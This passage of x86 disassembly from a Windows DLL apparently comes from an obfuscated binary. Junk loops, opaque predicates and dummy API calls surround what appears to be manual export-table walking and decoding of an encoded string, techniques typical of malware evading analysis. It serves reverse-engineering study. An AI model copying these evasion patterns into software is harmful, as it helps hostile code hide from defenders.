movzx eax, byte [ebp - 0x190]
test eax, eax
je 0x1003ea2e
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
jmp 0x1003e8ea
jmp 0x1003e823
mov dword [ebp - 0xd8], 0x19
jmp 0x1003ea51
mov eax, dword [ebp - 0xd8]
dec eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 8
jg 0x1003ea72
mov dword [ebp - 0xf68], 0x6478
mov eax, dword [ebp - 0xf68]
mov dword [ebp - 0xc14], eax
jmp 0x1003ea44
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0x1d8]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x1c8]
mov ax, word [ecx + eax*2]
mov word [ebp - 0xa4], ax
mov dword [ebp - 0xe24], 0x2505
mov dword [ebp - 0x1018], 0x1000acbc
cmp dword [ebp - 0xe24], 0x27b1
jle 0x1003eb8b
and dword [ebp - 0x4c8], 0
jmp 0x1003eacc
mov eax, dword [ebp - 0x4c8]
inc eax
mov dword [ebp - 0x4c8], eax
cmp dword [ebp - 0x4c8], 0x3343
jge 0x1003eb8b
and dword [ebp - 0x4d0], 0
jmp 0x1003eaf2
mov eax, dword [ebp - 0x4d0]
inc eax
mov dword [ebp - 0x4d0], eax
cmp dword [ebp - 0x4d0], 0x7510
jge 0x1003eb86
and dword [ebp - 0x4d8], 0
jmp 0x1003eb18
mov eax, dword [ebp - 0x4d8]
inc eax
mov dword [ebp - 0x4d8], eax
cmp dword [ebp - 0x4d8], 0x7aa
jge 0x1003eb81
mov eax, dword [ebp - 0x4c8]
add eax, dword [ebp - 0x4d0]
xor eax, dword [ebp - 0x4d8]
cdq
mov dword [ebp - 0x125c], eax
mov dword [ebp - 0x1258], edx
push dword [ebp - 0x1258]
push dword [ebp - 0x125c]
lea ecx, [ebp - 0x1c28]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0xf70], eax
mov ecx, dword [ebp - 0xf70]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1c28]
call fcn.100208ae
jmp 0x1003eb0b
jmp 0x1003eae5
jmp 0x1003eabf
movzx eax, word [ebp - 0xa4]
cmp eax, 0xffff
je 0x10040771
mov dword [ebp - 0x1d0], 0xffffffff
mov dword [ebp - 0x634], 0xb6feb9e9
push 2
lea ecx, [ebp - 0x144c]
call fcn.10020bf2
mov dword [ebp - 4], 0x2d
mov dword [ebp - 0x4e8], 5
mov dword [ebp - 0xc6c], 0xfffffffc
mov dword [ebp - 0x4e0], 0
jmp 0x1003ebf2
mov eax, dword [ebp - 0x4e0]
inc eax
mov dword [ebp - 0x4e0], eax
cmp dword [ebp - 0x4e0], 2
jge 0x1003ec14
push dword [ebp - 0x4e0]
lea ecx, [ebp - 0x144c]
call fcn.10020c90
mov dword [eax], 0x256ee973
jmp 0x1003ebe5
mov dword [ebp - 0x1d0], 0x18
jmp 0x1003ec2d
mov eax, dword [ebp - 0x1d0]
dec eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0xfffffff8
jl 0x1003ee66
mov dword [ebp - 0xc24], 0xfffffffb
mov dword [ebp - 0x1574], 0xfffffffa
mov dword [ebp - 0x1570], 0xfffffffa
mov dword [ebp - 0x156c], 0xfffffffa
mov dword [ebp - 0x1568], 0xfffffffa
mov dword [ebp - 0x1964], 0x307a329e
mov dword [ebp - 0xf80], 0x642e5f0e
cmp dword [ebp - 0xc24], 0
jne 0x1003ec95
mov dword [ebp - 0xc1c], 1
jmp 0x1003ec9c
and dword [ebp - 0xc1c], 0
cmp dword [ebp - 0xc1c], 0xcdea
jg 0x1003ecb4
mov dword [ebp - 0xc54], 1
jmp 0x1003ecbb
and dword [ebp - 0xc54], 0
mov eax, dword [ebp - 0x4e8]
inc eax
mov dword [ebp - 0x4e8], eax
mov eax, dword [ebp - 0x4e8]
neg eax
jne 0x1003edd2
push 1
lea ecx, [ebp - 0x144c]
call fcn.10020c90
mov eax, dword [eax]
sub eax, 4
cmp eax, dword [ebp - 0x1d0]
jl 0x1003ecfc
mov dword [ebp - 0xf78], 1
jmp 0x1003ed03
and dword [ebp - 0xf78], 0
mov eax, dword [ebp - 0x4e8]
mov dword [ebp - 0x16a0], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc24]
cmp dword [ebp + eax - 0x1574], ecx
jne 0x1003ed36
cmp dword [ebp - 0x634], 0
jne 0x1003ed36
and dword [ebp - 0xc2c], 0
jmp 0x1003ed40
mov dword [ebp - 0xc2c], 1
mov eax, dword [ebp - 0xc2c]
shl eax, 2
cmp eax, 0x6a9b
jg 0x1003ed5c
mov dword [ebp - 0xc34], 1
jmp 0x1003ed63
and dword [ebp - 0xc34], 0
mov eax, dword [ebp - 0x1d0]
cmp dword [ebp - 0xc34], eax
jg 0x1003ed7e
push 0
lea ecx, [ebp - 0x144c]
call fcn.10020c90
cmp dword [ebp - 0xf80], 0
je 0x1003ed98
xor eax, eax
inc eax
je 0x1003ed98
mov dword [ebp - 0xc3c], 1
jmp 0x1003ed9f
and dword [ebp - 0xc3c], 0
mov eax, dword [ebp - 0xc6c]
cmp dword [ebp - 0xc3c], eax
jge 0x1003edb9
mov dword [ebp - 0xc44], 1
jmp 0x1003edc0
and dword [ebp - 0xc44], 0
mov eax, dword [ebp - 0xc44]
dec eax
jne 0x1003edd2
and dword [ebp - 0xc4c], 0
jmp 0x1003eddc
mov dword [ebp - 0xc4c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1574]
add eax, dword [ebp - 0xc4c]
cmp dword [ebp - 0xc54], eax
je 0x1003ee03
mov dword [ebp - 0xc5c], 1
jmp 0x1003ee0a
and dword [ebp - 0xc5c], 0
mov eax, dword [ebp - 0x634]
cmp dword [ebp - 0xc5c], eax
jle 0x1003ee24
mov dword [ebp - 0xc64], 1
jmp 0x1003ee2b
and dword [ebp - 0xc64], 0
push 0
lea ecx, [ebp - 0x144c]
call fcn.10020c90
mov ecx, dword [ebp - 0xc64]
sub ecx, dword [eax]
jne 0x1003ee4e
mov dword [ebp - 0xf88], 1
jmp 0x1003ee55
and dword [ebp - 0xf88], 0
mov eax, dword [ebp - 0xc6c]
mov dword [ebp - 0x634], eax
jmp 0x1003ec20
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x144c]
call fcn.10020c74
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0x1d8]
add ecx, dword [eax + 0x1c]
movzx eax, word [ebp - 0xa4]
lea eax, [ecx + eax*4]
mov dword [ebp - 0xfa0], eax
push 3
lea ecx, [ebp - 0x1630]
call fcn.10020bf2
mov dword [ebp - 4], 0x2e
mov dword [ebp - 0x510], 0x7c203980
push 2
lea ecx, [ebp - 0x1648]
call fcn.10020bf2
mov byte [ebp - 4], 0x2f
mov dword [ebp - 0xe0], 0
jmp 0x1003eedc
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 3
jge 0x1003eefe
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x1630]
call fcn.10020c90
mov dword [eax], 1
jmp 0x1003eecf
mov dword [ebp - 0xe0], 0
jmp 0x1003ef17
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 2
jge 0x1003ef39
push dword [ebp - 0xe0]
lea ecx, [ebp - 0x1648]
call fcn.10020c90
mov dword [eax], 0xa924c000
jmp 0x1003ef0a
mov dword [ebp - 0xc74], 0x7d72
mov dword [ebp - 0xf90], 0x1000ace0
cmp dword [ebp - 0xc74], 0x80e3
jle 0x1003f041
and dword [ebp - 0x4f0], 0
jmp 0x1003ef73
mov eax, dword [ebp - 0x4f0]
inc eax
mov dword [ebp - 0x4f0], eax
cmp dword [ebp - 0x4f0], 0x60c2
jge 0x1003f041
and dword [ebp - 0x4f8], 0
jmp 0x1003ef99
mov eax, dword [ebp - 0x4f8]
inc eax
mov dword [ebp - 0x4f8], eax
cmp dword [ebp - 0x4f8], 0x3da
jge 0x1003f03c
and dword [ebp - 0x500], 0
jmp 0x1003efbf
mov eax, dword [ebp - 0x500]
inc eax
mov dword [ebp - 0x500], eax
cmp dword [ebp - 0x500], 0x3d3
jge 0x1003f037
and dword [ebp - 0x508], 0
jmp 0x1003efe1
mov eax, dword [ebp - 0x508]
inc eax
mov dword [ebp - 0x508], eax
cmp dword [ebp - 0x508], 0x4058
jge 0x1003f032
mov eax, dword [ebp - 0x4f0]
cdq
idiv dword [ebp - 0x4f8]
mov ecx, edx
mov eax, dword [ebp - 0x500]
cdq
idiv dword [ebp - 0x508]
add ecx, edx
mov eax, ecx
cdq
mov dword [ebp - 0x1268], eax
mov dword [ebp - 0x1264], edx
push dword [ebp - 0x1264]
push dword [ebp - 0x1268]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x1003efd4
jmp 0x1003efb2
jmp 0x1003ef8c
jmp 0x1003ef66
push 1
lea ecx, [ebp - 0x1630]
call fcn.10020c90
or dword [eax], 0xffffffff
cmp dword [ebp - 0xc74], 0x7ac2
jge 0x1003f06d
mov edx, dword [ebp - 0xf90]
mov ecx, 0x10085b58
call fcn.10023628
mov dword [ebp - 0x510], 0xffffffe2
jmp 0x1003f086
mov eax, dword [ebp - 0x510]
inc eax
mov dword [ebp - 0x510], eax
cmp dword [ebp - 0x510], 0xfffffffc
jl 0x1003f0b0
mov dword [ebp - 0xf98], 0
mov esi, dword [ebp - 0xf98]
push 1
lea ecx, [ebp - 0x1648]
call fcn.10020c90
mov dword [eax], esi
jmp 0x1003f079
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x1648]
call fcn.10020c74
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1630]
call fcn.10020c74
mov eax, dword [ebp - 0xfa0]
mov ecx, dword [ebp - 0x1d8]
add ecx, dword [eax]
mov dword [ebp - 0xe4], ecx
mov eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0xf4]
jbe 0x1003ffb1
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1fc]
mov edx, dword [ebp - 0xf4]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0xe4], edx
jae 0x1003ffb1
mov dword [ebp - 0xfc], 1
mov dword [ebp - 0xcf4], 0
mov dword [ebp - 0xc7c], 0x277e
mov dword [ebp - 0xfa8], 0x1000ad38
cmp dword [ebp - 0xc7c], 0x2848
jle 0x1003f22b
and dword [ebp - 0x530], 0
jmp 0x1003f164
mov eax, dword [ebp - 0x530]
inc eax
mov dword [ebp - 0x530], eax
cmp dword [ebp - 0x530], 0x1874
jge 0x1003f22b
and dword [ebp - 0x518], 0
jmp 0x1003f18a
mov eax, dword [ebp - 0x518]
inc eax
mov dword [ebp - 0x518], eax
cmp dword [ebp - 0x518], 0x5792
jge 0x1003f226
and dword [ebp - 0x520], 0
jmp 0x1003f1b0
mov eax, dword [ebp - 0x520]
inc eax
mov dword [ebp - 0x520], eax
cmp dword [ebp - 0x520], 0xee4
jge 0x1003f221
and dword [ebp - 0x528], 0
jmp 0x1003f1d2
mov eax, dword [ebp - 0x528]
inc eax
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 0x289c
jge 0x1003f21f
mov ecx, dword [ebp - 0x518]
imul ecx, dword [ebp - 0x520]
imul ecx, dword [ebp - 0x528]
mov eax, dword [ebp - 0x530]
shl eax, cl
cdq
mov dword [ebp - 0x1274], eax
mov dword [ebp - 0x1270], edx
push dword [ebp - 0x1270]
push dword [ebp - 0x1274]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x1003f1c5
jmp 0x1003f1a3
jmp 0x1003f17d
jmp 0x1003f157
mov dword [ebp - 0xce4], 1
cmp dword [ebp - 0xc7c], 0x2456
jge 0x1003f251
mov edx, dword [ebp - 0xfa8]
mov ecx, 0x10085b58
call fcn.10023628
push 2
lea ecx, [ebp - 0x1510]
call fcn.10020bf2
mov dword [ebp - 4], 0x30
mov dword [ebp - 0xfc0], 0x2f88197c
mov dword [ebp - 0xac], 0
jmp 0x1003f288
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 2
jge 0x1003f2a4
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0x1280], 0xfffffffd
jmp 0x1003f27b
mov dword [ebp - 0xac], 0
jmp 0x1003f2bd
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 2
jge 0x1003f2df
push dword [ebp - 0xac]
lea ecx, [ebp - 0x1510]
call fcn.10020c90
mov dword [eax], 0xe44e821f
jmp 0x1003f2b0
mov dword [ebp - 0xfc], 4
jmp 0x1003f2f8
cmp dword [ebp - 0xfc], 1
jg 0x1003f904
mov dword [ebp - 0x204], 0xb023ed15
mov dword [ebp - 0x20c], 1
mov dword [ebp - 0xf0c], 1
mov dword [ebp - 0xf08], 1
mov dword [ebp - 0xf04], 1
mov dword [ebp - 0xf00], 1
mov dword [ebp - 0x644], 0
mov dword [ebp - 0x540], 0xffffffff
mov eax, dword [ebp - 0x204]
cmp dword [ebp - 0xfc], eax
jg 0x1003f36f
mov dword [ebp - 0xc84], 1
jmp 0x1003f376
and dword [ebp - 0xc84], 0
mov eax, dword [ebp - 0x204]
cmp eax, dword [ebp - 0xc84]
jg 0x1003f390
mov dword [ebp - 0xfb0], 1
jmp 0x1003f397
and dword [ebp - 0xfb0], 0
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x185c], eax
mov eax, dword [ebp - 0x204]
cmp dword [ebp - 0x204], eax
jle 0x1003f669
mov dword [ebp - 0x63c], 0x1023f126
mov dword [ebp - 0xfb8], 0xffffffff
and dword [ebp - 0x1624], 0
and dword [ebp - 0x1620], 0
and dword [ebp - 0x161c], 0
and dword [ebp - 0x1618], 0
lea ecx, [ebp - 0x68d]
call fcn.10020c9f
push eax
lea eax, [ebp - 0x1614]
push eax
lea eax, [ebp - 0x1624]
push eax
lea ecx, [ebp - 0x1a20]
call fcn.10020ca2
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x18d4]
call fcn.10020c4e
mov byte [ebp - 4], 0x31
mov dword [ebp - 0x64c], 0xf2842c5a
mov dword [ebp - 0x538], 0
jmp 0x1003f441
mov eax, dword [ebp - 0x538]
inc eax
mov dword [ebp - 0x538], eax
cmp dword [ebp - 0x538], 2
jge 0x1003f45d
mov eax, dword [ebp - 0x538]
mov dword [ebp + eax*4 - 0x1554], 0xf934
jmp 0x1003f434
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1554]
mov dword [ebp - 0x16a8], eax
cmp dword [ebp - 0x63c], 0
je 0x1003f4c4
mov eax, dword [ebp - 0x63c]
mov dword [ebp - 0x1920], eax
cmp dword [ebp - 0x20c], 0x69b1
jne 0x1003f49d
mov dword [ebp - 0xc8c], 1
jmp 0x1003f4a4
and dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0xc8c]
sub eax, dword [ebp - 0xfc]
mov dword [ebp - 0x64c], eax
je 0x1003f4c4
mov dword [ebp - 0xc94], 1
jmp 0x1003f4cb
and dword [ebp - 0xc94], 0
cmp dword [ebp - 0xc94], 0x1f31
jl 0x1003f4e3
mov dword [ebp - 0xc9c], 1
jmp 0x1003f4ea
and dword [ebp - 0xc9c], 0
push 0
lea ecx, [ebp - 0x18d4]
call fcn.10020c90
mov ecx, dword [ebp - 0xc9c]
mov dword [eax], ecx
push 0xfffffffffffffff7
pop eax
cmp eax, 0xfffa
ja 0x1003f515
mov dword [ebp - 0xca4], 1
jmp 0x1003f51c
and dword [ebp - 0xca4], 0
cmp dword [ebp - 0xca4], 0xffffffff
jl 0x1003f531
mov dword [ebp - 0xcac], 1
jmp 0x1003f538
and dword [ebp - 0xcac], 0
mov eax, dword [ebp - 0xce4]
cmp dword [ebp - 0xcac], eax
jge 0x1003f552
mov dword [ebp - 0xcb4], 1
jmp 0x1003f559
and dword [ebp - 0xcb4], 0
mov eax, dword [ebp - 0x540]
cmp dword [ebp - 0xcb4], eax
jg 0x1003f573
mov dword [ebp - 0xcbc], 1
jmp 0x1003f57a
and dword [ebp - 0xcbc], 0
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xf0c], 0x58a13c44
imul eax, dword [ebp - 0xcbc], 0x58a13c44
imul eax, dword [ebp - 0x540]
add eax, dword [ebp - 0x63c]
jne 0x1003f5bc
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1554], 0
jne 0x1003f5bc
and dword [ebp - 0xcc4], 0
jmp 0x1003f5c6
mov dword [ebp - 0xcc4], 1
mov eax, dword [ebp - 0x644]
mov ecx, dword [ebp - 0xcc4]
mov edx, dword [ebp - 0x644]
dec edx
mov dword [ebp - 0x644], edx
cmp eax, ecx
jg 0x1003f5ff
push 0xfffffffffffffffc
pop eax
test eax, eax
je 0x1003f5ff
cmp dword [ebp - 0x64c], 0
je 0x1003f5ff
mov dword [ebp - 0xccc], 1
jmp 0x1003f606
and dword [ebp - 0xccc], 0
mov eax, dword [ebp - 0x540]
cmp dword [ebp - 0xccc], eax
jle 0x1003f620
mov dword [ebp - 0xcd4], 1
jmp 0x1003f627
and dword [ebp - 0xcd4], 0
imul eax, dword [ebp - 0xcd4], 0xfffffffd
cmp eax, dword [ebp - 0x20c]
jne 0x1003f642
mov dword [ebp - 0xcdc], 1
jmp 0x1003f649
and dword [ebp - 0xcdc], 0
mov eax, dword [ebp - 0xcdc]
mov dword [ebp - 0xfb8], eax
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x18d4]
call fcn.10020c74
jmp 0x1003f8a9
mov dword [ebp - 0xd44], 0xfffffff8
cmp dword [ebp - 0xcf4], 0
je 0x1003f69a
push 1
lea ecx, [ebp - 0x1510]
call fcn.10020c90
cmp dword [eax], 0
je 0x1003f69a
mov dword [ebp - 0xcec], 1
jmp 0x1003f6a1
and dword [ebp - 0xcec], 0
push 0
lea ecx, [ebp - 0x1510]
call fcn.10020c90
mov eax, dword [eax]
mov dword [ebp - 0xce4], eax
cmp dword [ebp - 0xcec], 1
jb 0x1003f6cb
mov dword [ebp - 0xcfc], 1
jmp 0x1003f6d2
and dword [ebp - 0xcfc], 0
mov eax, dword [ebp - 0xcf4]
cmp dword [ebp - 0xcfc], eax
jge 0x1003f6ec
mov dword [ebp - 0xd04], 1
jmp 0x1003f6f3
and dword [ebp - 0xd04], 0
mov eax, dword [ebp - 0xd04]
sub eax, dword [ebp - 0xd44]
jne 0x1003f71a
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1280], 0
jne 0x1003f71a
and dword [ebp - 0xd0c], 0
jmp 0x1003f724
mov dword [ebp - 0xd0c], 1
cmp dword [ebp - 0xd0c], 0x910b8b7
jge 0x1003f73c
mov dword [ebp - 0x654], 1
jmp 0x1003f743
and dword [ebp - 0x654], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x654]
mov dword [ebp + eax - 0x1280], ecx
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x654], eax
je 0x1003f770
mov dword [ebp - 0xd14], 1
jmp 0x1003f777
and dword [ebp - 0xd14], 0
mov eax, dword [ebp - 0xfc]
add eax, dword [ebp - 0xd14]
cmp eax, 1
je 0x1003f794
mov dword [ebp - 0xd1c], 1
jmp 0x1003f79b
and dword [ebp - 0xd1c], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xf0c]
cmp eax, dword [ebp - 0xd1c]
jge 0x1003f7bc
mov dword [ebp - 0xd24], 1
jmp 0x1003f7c3
and dword [ebp - 0xd24], 0
cmp dword [ebp - 0xd24], 0xc796
je 0x1003f7db
mov dword [ebp - 0xd2c], 1
jmp 0x1003f7e2
and dword [ebp - 0xd2c], 0
mov eax, dword [ebp - 0xd2c]
add eax, 0xb11f
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0xf0c]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0xf0c]
jne 0x1003f815
mov dword [ebp - 0xd34], 1
jmp 0x1003f81c
and dword [ebp - 0xd34], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xf0c]
mov dword [ebp - 0x20c], eax
mov eax, dword [ebp - 0x20c]
cmp eax, dword [ebp - 0xd34]
jne 0x1003f849
mov dword [ebp - 0xd3c], 1
jmp 0x1003f850
and dword [ebp - 0xd3c], 0
mov eax, dword [ebp - 0xfc0]
add eax, dword [ebp - 0xd3c]
cmp eax, dword [ebp - 0xd44]
jl 0x1003f870
mov dword [ebp - 0xd4c], 1
jmp 0x1003f877
and dword [ebp - 0xd4c], 0
cmp dword [ebp - 0xd4c], 0xbffd
jg 0x1003f88f
mov dword [ebp - 0xd54], 1
jmp 0x1003f896
and dword [ebp - 0xd54], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd54]
mov dword [ebp + eax - 0xf0c], ecx
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0x16b0], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x1280]
cmp dword [ebp + eax - 0xf0c], ecx
jne 0x1003f8dd
mov dword [ebp - 0xd5c], 1
jmp 0x1003f8e4
and dword [ebp - 0xd5c], 0
mov eax, dword [ebp - 0x20c]
neg eax
add eax, dword [ebp - 0xd5c]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xf0c], eax
jmp 0x1003f2eb
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1510]
call fcn.10020c74
mov eax, dword [0x10086c14]
and eax, 2
jne 0x1003f945
mov eax, dword [0x10086c14]
or eax, 2
mov dword [0x10086c14], eax
mov dword [ebp - 4], 0x32
push 0x7ec
call fcn.100145aa
pop ecx
mov byte [0x1008b05c], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0x108], 0
mov byte [ebp - 0x107], 0x41
mov byte [ebp - 0x106], 3
mov byte [ebp - 0x105], 0x61
mov byte [ebp - 0x104], 8
mov byte [ebp - 0x103], 0xc4
mov byte [ebp - 0x102], 1
mov byte [ebp - 0x101], 8
mov byte [ebp - 0x100], 2
mov byte [ebp - 0xff], 0
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x108]
or eax, 0x25
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x108]
and ecx, 0x25
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x108]
mov byte [ebp + ecx - 0x1a8], al
mov dword [ebp - 0x58], 2
and dword [ebp - 0x578], 0
jmp 0x1003f9dc
mov eax, dword [ebp - 0x58]
inc eax
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0xa
jae 0x1003fcb4
mov dword [ebp - 0xd64], 0x1704
mov dword [ebp - 0xfd0], 0x1000ad78
cmp dword [ebp - 0xd64], 0x1a05
jle 0x1003fb11
and dword [ebp - 0x548], 0
jmp 0x1003fa20
mov eax, dword [ebp - 0x548]
inc eax
mov dword [ebp - 0x548], eax
cmp dword [ebp - 0x548], 0xaed
jge 0x1003fb11
and dword [ebp - 0x550], 0
jmp 0x1003fa46
mov eax, dword [ebp - 0x550]
inc eax
mov dword [ebp - 0x550], eax
cmp dword [ebp - 0x550], 0x287b
jge 0x1003fb0c
and dword [ebp - 0x558], 0
jmp 0x1003fa6c
mov eax, dword [ebp - 0x558]
inc eax
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 0x36f5
jge 0x1003fb07
and dword [ebp - 0x560], 0
jmp 0x1003fa92
mov eax, dword [ebp - 0x560]
inc eax
mov dword [ebp - 0x560], eax
cmp dword [ebp - 0x560], 0x24c9
jge 0x1003fb02
mov eax, dword [ebp - 0x548]
imul eax, dword [ebp - 0x550]
sub eax, dword [ebp - 0x558]
and eax, dword [ebp - 0x560]
cdq
mov dword [ebp - 0x128c], eax
mov dword [ebp - 0x1288], edx
push dword [ebp - 0x1288]
push dword [ebp - 0x128c]
lea ecx, [ebp - 0x1c58]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0xfc8], eax
mov ecx, dword [ebp - 0xfc8]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1c58]
call fcn.100208ae
jmp 0x1003fa85
jmp 0x1003fa5f
jmp 0x1003fa39
jmp 0x1003fa13
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x108]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x58], eax
jne 0x1003fb54
mov eax, dword [ebp - 0x58]
movzx eax, byte [ebp + eax - 0x108]
inc eax
mov dword [ebp - 0x578], eax
mov eax, dword [ebp - 0x58]
movzx eax, byte [ebp + eax - 0x108]
mov ecx, dword [ebp - 0x58]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x58], eax
jmp 0x1003f9d4
cmp dword [ebp - 0xd64], 0x143f
jge 0x1003fb6c
push dword [ebp - 0xfd0]
call fcn.1006abb3
pop ecx
mov dword [ebp - 0xd6c], 0x2b56
mov dword [ebp - 0xfe0], 0x1000add0
cmp dword [ebp - 0xd6c], 0x2eaf
jle 0x1003fc30
and dword [ebp - 0x568], 0
jmp 0x1003fba6
mov eax, dword [ebp - 0x568]
inc eax
mov dword [ebp - 0x568], eax
cmp dword [ebp - 0x568], 0x42bc
jge 0x1003fc30
and dword [ebp - 0x570], 0
jmp 0x1003fbc8
mov eax, dword [ebp - 0x570]
inc eax
mov dword [ebp - 0x570], eax
cmp dword [ebp - 0x570], 0x2bdd
jge 0x1003fc2b
mov eax, dword [ebp - 0x568]
and eax, dword [ebp - 0x570]
cdq
mov dword [ebp - 0x1298], eax
mov dword [ebp - 0x1294], edx
push dword [ebp - 0x1294]
push dword [ebp - 0x1298]
lea ecx, [ebp - 0x1c88]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0xfd8], eax
mov ecx, dword [ebp - 0xfd8]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1c88]
call fcn.100208ae
jmp 0x1003fbbb
jmp 0x1003fb99
mov eax, dword [ebp - 0x58]
movzx eax, byte [ebp + eax - 0x107]
mov ecx, dword [ebp - 0x58]
sub ecx, dword [ebp - 0x578]
movzx ecx, byte [ebp + ecx - 0x10a]
movsx ecx, byte [ebp + ecx - 0x1a8]
or eax, ecx
mov ecx, dword [ebp - 0x58]
movzx ecx, byte [ebp + ecx - 0x107]
mov edx, dword [ebp - 0x58]
sub edx, dword [ebp - 0x578]
movzx edx, byte [ebp + edx - 0x10a]
movsx edx, byte [ebp + edx - 0x1a8]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x58]
movzx ecx, byte [ebp + ecx - 0x108]
mov byte [ebp + ecx - 0x1a8], al
cmp dword [ebp - 0xd6c], 0x2a57
jge 0x1003fca8
push dword [ebp - 0xfe0]
call fcn.1006abb3
pop ecx
and dword [ebp - 0x578], 0
jmp 0x1003f9d4
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x1a8], 0
mov eax, dword [0x10086c14]
and eax, 4
jne 0x1003fd00
mov eax, dword [0x10086c14]
or eax, 4
mov dword [0x10086c14], eax
mov dword [ebp - 4], 0x33
lea eax, [ebp - 0x1a8]
push eax
mov ecx, 0x1008b084
call fcn.100425d4
push 0x100810fa
call fcn.1006ab89
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x580], 0
jmp 0x1003fd16
mov eax, dword [ebp - 0x580]
inc eax
mov dword [ebp - 0x580], eax
cmp dword [ebp - 0x580], 4
jae 0x1003fd2f
mov eax, dword [ebp - 0x580]
mov byte [ebp + eax - 0x1a8], 0
jmp 0x1003fd09
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x164], eax
mov dword [ebp - 0xd74], 0x4a85
mov dword [ebp - 0xfe8], 0x1000ae20
cmp dword [ebp - 0xd74], 0x4b7b
jle 0x1003fe13
and dword [ebp - 0x598], 0
jmp 0x1003fd75
mov eax, dword [ebp - 0x598]
inc eax
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 0x2292
jge 0x1003fe09
and dword [ebp - 0x588], 0
jmp 0x1003fd9b
mov eax, dword [ebp - 0x588]
inc eax
mov dword [ebp - 0x588], eax
cmp dword [ebp - 0x588], 0x5c6d
jge 0x1003fe04
and dword [ebp - 0x590], 0
jmp 0x1003fdbd
mov eax, dword [ebp - 0x590]
inc eax
mov dword [ebp - 0x590], eax
cmp dword [ebp - 0x590], 0x1866
jge 0x1003fe02
mov eax, dword [ebp - 0x588]
mov ecx, dword [ebp - 0x590]
sar eax, cl
and eax, dword [ebp - 0x598]
cdq
mov dword [ebp - 0x12a4], eax
mov dword [ebp - 0x12a0], edx
push dword [ebp - 0x12a0]
push dword [ebp - 0x12a4]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x1003fdb0
jmp 0x1003fd8e
jmp 0x1003fd68
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov eax, dword [ebp - 0x164]
movsx eax, byte [eax]
movsx ecx, byte [0x1008b05c]
cmp eax, ecx
je 0x1003fe36
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
jmp 0x1003fe13
cmp dword [ebp - 0xd74], 0x47ac
jge 0x1003fe52
mov edx, dword [ebp - 0xfe8]
mov ecx, 0x10085b58
